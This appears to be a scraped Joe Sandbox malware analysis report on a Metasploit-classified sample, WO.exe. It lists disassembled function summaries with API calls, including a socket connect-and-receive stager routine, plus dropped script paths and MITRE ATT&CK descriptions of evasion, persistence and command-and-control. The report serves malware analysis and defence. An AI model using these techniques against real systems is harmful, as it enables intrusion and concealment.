Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction ID: 658b845125df41e3d707b834e255611bbe4f6e958313e82604e3ea1cd6ed1d71
Opcode Fuzzy Hash: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction Fuzzy Hash: 50016972314A5092E7219B26A5807AAA3B4FB88BC0F548026EB4987774DF3AC8528300

Function 000000014001147C Relevance: 5.1, APIs: 4, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001149E
HeapAlloc.KERNEL32 ref: 0000000140011573
HeapAlloc.KERNEL32 ref: 0000000140011597
LeaveCriticalSection.KERNEL32 ref: 0000000140011600

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction ID: a4d5f086a96e389f2db612197d0023b8b07f868559dabceebcf4944cd54701ff
Opcode Fuzzy Hash: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction Fuzzy Hash: 47513A72601B44C7EB5ACF26E18039873A5F78CF88F188526EB4E4B766DB35D4A1C750

Function 000000014000D02C Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014000D0B1
HeapAlloc.KERNEL32 ref: 000000014000D0C7
wcscpy.MSVCRT ref: 000000014000D0D7
memset.MSVCRT ref: 000000014000D111

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID:
API String ID: 1807340688-0
Opcode ID: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction ID: 2291175711b854bc4f74fb4265d0f1bd771c1a5bff4f4550b8324bf1b1149364
Opcode Fuzzy Hash: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction Fuzzy Hash: DA3129B1605B4081EB16EF27A5443ECB7A1EB8CFD4F588126AF4D0B7AADF39C4518351

Function 000000014000CCD8 Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE61
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE74
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE8F
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CEB1

HeapAlloc.KERNEL32 ref: 000000014000CD11
HeapAlloc.KERNEL32 ref: 000000014000CD42
HeapAlloc.KERNEL32 ref: 000000014000CDB2
HeapFree.KERNEL32 ref: 000000014000CDD8

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID:
API String ID: 3901518246-0
Opcode ID: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction ID: 7f7b652e9f7b58be947c1c734e7a82da3d99598ff0fb71c13e03353473737a2d
Opcode Fuzzy Hash: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction Fuzzy Hash: 063142B2211B409BE702DF13EA807A937A4F78CBD0F448429EB4847B65DF79E4A6C740

Function 00000001400112A8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400112C4
HeapReAlloc.KERNEL32 ref: 0000000140011308
LeaveCriticalSection.KERNEL32 ref: 0000000140011355

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction ID: 37e1212d5150fef44f5374ae18cee5b2af0a62904f946070966fd9e2c84ce28f
Opcode Fuzzy Hash: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction Fuzzy Hash: 7B210872615B4482EB198F66E5403EC6361F78CFD4F548612EB6E4B7AACF38C552C350

Function 0000000140017120 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0000000140017161
malloc.MSVCRT ref: 000000014001717B
MultiByteToWideChar.KERNEL32 ref: 0000000140017196
malloc.MSVCRT ref: 00000001400171B3

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction ID: 61c3440d716b3c64d08436ee48054615140ae5ecb8d8084460387f48d4e9dd56
Opcode Fuzzy Hash: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction Fuzzy Hash: BB11C13260878082EB25CF26B41076AB7A4FB89BE4F140328EF9D57BE5DF39C0118704

Function 0000000140011668 Relevance: 5.0, APIs: 4, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001167F
HeapFree.KERNEL32 ref: 000000014001169A
HeapFree.KERNEL32 ref: 00000001400116BC
LeaveCriticalSection.KERNEL32 ref: 00000001400116E2

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction ID: 5186432533761a1e63310800083548d259c5d54e134ea9fda60ce401f62d664d
Opcode Fuzzy Hash: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction Fuzzy Hash: 76114C76600B4082EB5A9F53E5943E823A0FB9CBC5F4C8416EB091B6A7DF3AC4A5C300

Function 000000014000CE30 Relevance: 5.0, APIs: 4, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000D140: memset.MSVCRT ref: 000000014000D1C3

Part of subcall function 0000000140011968: EnterCriticalSection.KERNEL32 ref: 0000000140011985
Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7
Part of subcall function 0000000140011968: LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

HeapFree.KERNEL32 ref: 000000014000CE61
HeapFree.KERNEL32 ref: 000000014000CE74
HeapFree.KERNEL32 ref: 000000014000CE8F
HeapFree.KERNEL32 ref: 000000014000CEB1

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction ID: bd40ed23f28c7418c8be6727045953eb2e8c2f29468db0d1e18b21a18f306043
Opcode Fuzzy Hash: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction Fuzzy Hash: FD01C8B5600B8492EB06EB63E9903E923A1FBCDBD0F488416AF0D1B776CF39D4518740

Analysis Process: reddit.exePID: 5744, Parent PID: 4600COMMON

Execution Graph

Execution Coverage:	42.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00580095 Relevance: 6.1, APIs: 4, Instructions: 81
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32(E0DF0FEA,00000002,00000001,00000000,00000000,00000000,00000000,61040002,17DDB993,0000000A,?,?,5F327377,00003233), ref: 005800D5
connect.WS2_32(6174A599,?,?,00000010,?,?,5F327377,00003233), ref: 005800E1
recv.WS2_32(5FC8D902,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 005800FC
closesocket.WS2_32(614D6E75,?,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 0058013F

Memory Dump Source

Source File: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_580000_reddit.jbxd

Yara matches

Similarity

API ID: Socketclosesocketconnectrecv
String ID:
API String ID: 2083937939-0
Opcode ID: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction ID: bfe1b6e906da5a7b4e982e2a360097eda895f4a0793274a32a426a5b5615d92e
Opcode Fuzzy Hash: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction Fuzzy Hash: 8D11ADB06802987EF57032629C4BFBB6D1CEF42BA4F101424BF45FA0C1C9829C4882FA

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Metasploit

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat

C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat

C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat

C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0k3twh3c.fd1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10cpq2nh.nne.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1polcjk3.gxm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_40s0jnae.fy1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_54ybvrq0.kje.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5i5sg14g.hyw.psm1

Windows Analysis Report
WO.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre